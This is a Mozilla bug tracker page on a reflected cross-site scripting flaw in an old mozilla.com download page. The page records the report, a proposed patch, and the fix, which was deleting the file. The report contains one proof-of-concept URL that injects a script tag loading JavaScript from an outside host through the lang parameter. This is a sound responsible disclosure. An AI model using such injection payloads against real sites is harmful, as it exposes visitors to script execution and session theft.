Closed
Bug 619327
Opened 15 years ago
Closed 15 years ago
https://www.mozilla.com/en-US/products/download2.html XSS vulnerability
Categories
(www.mozilla.org :: General, defect)
Tracking
(Not tracked)
RESOLVED
FIXED
People
(Reporter: ricky, Unassigned)
Details
(Keywords: reporter-external, wsec-xss, Whiteboard: [infrasec:xss][ws:high])
Attachments
(1 file)
|
1.27 KB,
patch
|
Details | Diff | Splinter Review |
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7
Build Identifier:
https://www.mozilla.com/en-US/products/download2.html outputs unsanitized user input, making it vulnerable to XSS.
For example:
https://www.mozilla.com/en-US/products/download2.html?lang=%27%22%3E%3Cscript+src=%22http://ha.ckers.org/xss.js%22%3E&os=linux&product=firefox
Reproducible: Always
| Reporter | ||
Comment 1•15 years ago
|
||
The attached patch against mozilla.com trunk is an (untested) attempt to fix this. It uses json_encode to encode the product link, which looks to be only available on php 5.2.0.
Actually, I notice that download2.html hasn't been touched in 3 years in SVN - if it isn't needed anymore, it'd probably be easiest to just delete it.
Comment 2•15 years ago
|
||
confirmed, CCing Alex. Thanks for noticing Ricky!
Status: UNCONFIRMED → NEW
Ever confirmed: true
Comment 3•15 years ago
|
||
This file should indeed have been deleted 3 years ago, done in trunk in r79447 and on production in r79449. Marking fixed.
Status: NEW → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
Updated•15 years ago
|
Whiteboard: [infrasec:xss][ws:high]
| Assignee | ||
Updated•14 years ago
|
Component: www.mozilla.org/firefox → www.mozilla.org
| Assignee | ||
Updated•14 years ago
|
Component: www.mozilla.org → General
Product: Websites → www.mozilla.org
Comment 5•13 years ago
|
||
Adding keywords to bugs for metrics, no action required. Sorry about bugmail spam.
Keywords: wsec-xss
Updated•13 years ago
|
Flags: sec-bounty+
Updated•9 years ago
|
Group: websites-security
Updated•2 years ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•